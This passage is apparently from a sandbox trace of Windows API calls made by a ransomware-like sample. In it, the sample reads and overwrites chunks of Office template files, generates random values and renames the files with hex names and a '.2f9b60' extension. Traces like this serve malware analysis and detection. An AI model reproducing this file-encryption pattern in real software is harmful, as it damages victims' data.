0x1cddc800 [0205.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0205.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.537] WriteFile (in: hFile=0x1d9c, lpBuffer=0x42997240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f21f7c0, lpOverlapped=0x0 | out: lpBuffer=0x42997240*, lpNumberOfBytesWritten=0x1f21f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42997240) returned 1 [0214.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104e90 [0214.887] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.888] WriteFile (in: hFile=0x1d9c, lpBuffer=0x430bc720*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x1f21f870, lpOverlapped=0x0 | out: lpBuffer=0x430bc720*, lpNumberOfBytesWritten=0x1f21f870*=0x152, lpOverlapped=0x0) returned 1 [0218.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3c0 [0218.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3c0) returned 1 [0218.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3c0 [0218.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb390 [0218.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb330 [0218.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb330) returned 1 [0218.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82bd60 [0218.862] sprintf (in: _Dest=0x1b82bd60, _Format="%c%c" | out: _Dest="86") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd62, _Format="%c%c" | out: _Dest="55") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd64, _Format="%c%c" | out: _Dest="b0") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd66, _Format="%c%c" | out: _Dest="10") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd68, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd6a, _Format="%c%c" | out: _Dest="30") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd6c, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd6e, _Format="%c%c" | out: _Dest="cf") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd70, _Format="%c%c" | out: _Dest="ec") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd72, _Format="%c%c" | out: _Dest="65") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd74, _Format="%c%c" | out: _Dest="23") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd76, _Format="%c%c" | out: _Dest="86") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd78, _Format="%c%c" | out: _Dest="30") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd7a, _Format="%c%c" | out: _Dest="d9") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd7c, _Format="%c%c" | out: _Dest="d0") returned 2 [0218.862] sprintf (in: _Dest=0x1b82bd7e, _Format="%c%c" | out: _Dest="4a") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd80, _Format="%c%c" | out: _Dest="69") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd82, _Format="%c%c" | out: _Dest="a8") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd84, _Format="%c%c" | out: _Dest="10") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd86, _Format="%c%c" | out: _Dest="43") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd88, _Format="%c%c" | out: _Dest="9a") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd8a, _Format="%c%c" | out: _Dest="6e") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd8c, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd8e, _Format="%c%c" | out: _Dest="2a") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd90, _Format="%c%c" | out: _Dest="a7") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd92, _Format="%c%c" | out: _Dest="bc") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd94, _Format="%c%c" | out: _Dest="fe") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd96, _Format="%c%c" | out: _Dest="da") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd98, _Format="%c%c" | out: _Dest="af") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd9a, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd9c, _Format="%c%c" | out: _Dest="7c") returned 2 [0218.863] sprintf (in: _Dest=0x1b82bd9e, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.863] RtlInitAnsiString (in: DestinationString=0x1f21f8e8, SourceString="8655b010eb30e6cfec65238630d9d04a69a810439a6ee62aa7bcfedaaf3a7c6a" | out: DestinationString="8655b010eb30e6cfec65238630d9d04a69a810439a6ee62aa7bcfedaaf3a7c6a") [0218.863] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f21f8b8, SourceString="8655b010eb30e6cfec65238630d9d04a69a810439a6ee62aa7bcfedaaf3a7c6a", AllocateDestinationString=1 | out: DestinationString="8655b010eb30e6cfec65238630d9d04a69a810439a6ee62aa7bcfedaaf3a7c6a") returned 0x0 [0218.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af970 [0218.864] wcscat (in: _Dest=0x4318bda0, _Source="8655b010eb30e6cf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf" [0218.864] wcscat (in: _Dest=0x4318bda0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf.2f9b60" [0218.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf.2f9b60", NtPathName=0x1f21f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\8655b010eb30e6cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c2bd10 Thread: id = 2306 os_tid = 0x1c6c [0148.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx")) returned 0x20 [0148.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx", dwFileAttributes=0x20) returned 1 [0148.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e18 [0148.872] GetFileSizeEx (in: hFile=0x1e18, lpFileSize=0x219efe20 | out: lpFileSize=0x219efe20*=188212) returned 1 [0148.872] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x2df30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.873] ReadFile (in: hFile=0x1e18, lpBuffer=0x219efda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x219efde8, lpOverlapped=0x0 | out: lpBuffer=0x219efda0*, lpNumberOfBytesRead=0x219efde8*=0x4, lpOverlapped=0x0) returned 1 [0148.874] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0148.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265580 [0148.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0148.875] NtQuerySystemTime (in: CurrentTime=0x219efce0 | out: CurrentTime=0x219efce0*=132462177541042000) returned 0x0 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x45c26f2f [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x6d600191 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x18542e6c [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x7dcbd9ae [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x145ac37a [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x33d8f715 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x7e1bbce6 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x7534bf98 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x6197a55c [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x10dede80 [0148.875] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x57214d72 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x1e98bb13 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x42cb83e6 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x42df6a97 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x7e5c73e1 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x59906409 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x5cc3e560 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0xb922709 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x2ce9776a [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x53232af8 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x45faf520 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x35ff8572 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x6a17b026 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x5efed667 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x76ee2f6f [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x67a86722 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x1774ed14 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x24e40f78 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x5d167939 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x2786fa48 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x59c75458 [0148.876] RtlRandomEx (in: Seed=0x219efcd0 | out: Seed=0x219efcd0) returned 0x78c11ad6 [0148.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0148.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654f0 [0148.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0148.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0148.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eae130 [0148.887] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.887] ReadFile (in: hFile=0x1e18, lpBuffer=0x41eae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x219efd40, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesRead=0x219efd40*=0x3c00, lpOverlapped=0x0) returned 1 [0148.888] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0148.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647d0) returned 1 [0148.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e900b0 [0148.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0148.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0148.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0148.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.891] WriteFile (hFile=0x1e18, lpBuffer=0x41e900b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x219efd40, lpOverlapped=0x0) [0187.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e900b0) returned 1 [0187.445] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.445] ReadFile (in: hFile=0x1e18, lpBuffer=0x41eae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x219efd40, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesRead=0x219efd40*=0x3c00, lpOverlapped=0x0) returned 1 [0190.723] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431392e0 [0190.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431392e0) returned 1 [0190.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f92110 [0190.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431392e0 [0190.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139310 [0190.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139310) returned 1 [0190.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.727] WriteFile (in: hFile=0x1e18, lpBuffer=0x42f92110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x219efd40, lpOverlapped=0x0 | out: lpBuffer=0x42f92110*, lpNumberOfBytesWritten=0x219efd40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f92110) returned 1 [0205.518] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x2a334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.518] ReadFile (in: hFile=0x1e18, lpBuffer=0x41eae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x219efd40, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesRead=0x219efd40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.519] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x2a334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbf0 [0205.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbf0) returned 1 [0205.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f92110 [0205.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbf0 [0205.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c90 [0205.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c90) returned 1 [0205.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.523] WriteFile (in: hFile=0x1e18, lpBuffer=0x42f92110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x219efd40, lpOverlapped=0x0 | out: lpBuffer=0x42f92110*, lpNumberOfBytesWritten=0x219efd40*=0x3c00, lpOverlapped=0x0) returned 1 [0214.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f92110) returned 1 [0214.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104db0 [0214.882] SetFilePointerEx (in: hFile=0x1e18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.882] WriteFile (in: hFile=0x1e18, lpBuffer=0x1ceb98b0*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x219efdf0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb98b0*, lpNumberOfBytesWritten=0x219efdf0*=0x168, lpOverlapped=0x0) returned 1 [0219.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e20 [0219.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d00 [0219.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d00) returned 1 [0219.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431ade20 [0219.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d00 [0219.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0219.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3dc0) returned 1 [0219.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e20) returned 1 [0219.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b79e5f0 [0219.012] sprintf (in: _Dest=0x1b79e5f0, _Format="%c%c" | out: _Dest="e0") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5f2, _Format="%c%c" | out: _Dest="48") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5f4, _Format="%c%c" | out: _Dest="92") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5f6, _Format="%c%c" | out: _Dest="b4") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5f8, _Format="%c%c" | out: _Dest="66") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5fa, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5fc, _Format="%c%c" | out: _Dest="a4") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e5fe, _Format="%c%c" | out: _Dest="9c") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e600, _Format="%c%c" | out: _Dest="61") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e602, _Format="%c%c" | out: _Dest="c9") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e604, _Format="%c%c" | out: _Dest="6e") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e606, _Format="%c%c" | out: _Dest="90") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e608, _Format="%c%c" | out: _Dest="48") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e60a, _Format="%c%c" | out: _Dest="07") returned 2 [0219.012] sprintf (in: _Dest=0x1b79e60c, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e60e, _Format="%c%c" | out: _Dest="1a") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e610, _Format="%c%c" | out: _Dest="6a") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e612, _Format="%c%c" | out: _Dest="46") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e614, _Format="%c%c" | out: _Dest="4d") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e616, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e618, _Format="%c%c" | out: _Dest="38") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e61a, _Format="%c%c" | out: _Dest="7b") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e61c, _Format="%c%c" | out: _Dest="9e") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e61e, _Format="%c%c" | out: _Dest="ad") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e620, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e622, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e624, _Format="%c%c" | out: _Dest="ad") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e626, _Format="%c%c" | out: _Dest="59") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e628, _Format="%c%c" | out: _Dest="63") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e62a, _Format="%c%c" | out: _Dest="f1") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e62c, _Format="%c%c" | out: _Dest="49") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e62e, _Format="%c%c" | out: _Dest="c7") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e630, _Format="%c%c" | out: _Dest="54") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e632, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e634, _Format="%c%c" | out: _Dest="f9") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e636, _Format="%c%c" | out: _Dest="bc") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e638, _Format="%c%c" | out: _Dest="95") returned 2 [0219.013] sprintf (in: _Dest=0x1b79e63a, _Format="%c%c" | out: _Dest="a9") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e63c, _Format="%c%c" | out: _Dest="8a") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e63e, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e640, _Format="%c%c" | out: _Dest="d7") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e642, _Format="%c%c" | out: _Dest="51") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e644, _Format="%c%c" | out: _Dest="36") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e646, _Format="%c%c" | out: _Dest="1c") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e648, _Format="%c%c" | out: _Dest="08") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e64a, _Format="%c%c" | out: _Dest="e6") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e64c, _Format="%c%c" | out: _Dest="a5") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e64e, _Format="%c%c" | out: _Dest="db") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e650, _Format="%c%c" | out: _Dest="5a") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e652, _Format="%c%c" | out: _Dest="41") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e654, _Format="%c%c" | out: _Dest="8b") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e656, _Format="%c%c" | out: _Dest="11") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e658, _Format="%c%c" | out: _Dest="7a") returned 2 [0219.014] sprintf (in: _Dest=0x1b79e65a, _Format="%c%c" | out: _Dest="76") returned 2 [0219.014] RtlInitAnsiString (in: DestinationString=0x219efe68, SourceString="e04892b4661ba49c61c96e904807b21a6a464d7c387b9ead6d1fad5963f149c754b2f9bc95a98a1bd751361c08e6a5db5a418b117a76" | out: DestinationString="e04892b4661ba49c61c96e904807b21a6a464d7c387b9ead6d1fad5963f149c754b2f9bc95a98a1bd751361c08e6a5db5a418b117a76") [0219.014] RtlAnsiStringToUnicodeString (in: DestinationString=0x219efe38, SourceString="e04892b4661ba49c61c96e904807b21a6a464d7c387b9ead6d1fad5963f149c754b2f9bc95a98a1bd751361c08e6a5db5a418b117a76", AllocateDestinationString=1 | out: DestinationString="e04892b4661ba49c61c96e904807b21a6a464d7c387b9ead6d1fad5963f149c754b2f9bc95a98a1bd751361c08e6a5db5a418b117a76") returned 0x0 [0219.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb58a0 [0219.015] wcscat (in: _Dest=0x4315ee00, _Source="e04892b4661ba49c61c96e90480" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480" [0219.015] wcscat (in: _Dest=0x4315ee00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480.2f9b60" [0219.015] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480.2f9b60", NtPathName=0x219efe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\e04892b4661ba49c61c96e90480.2f9b60", 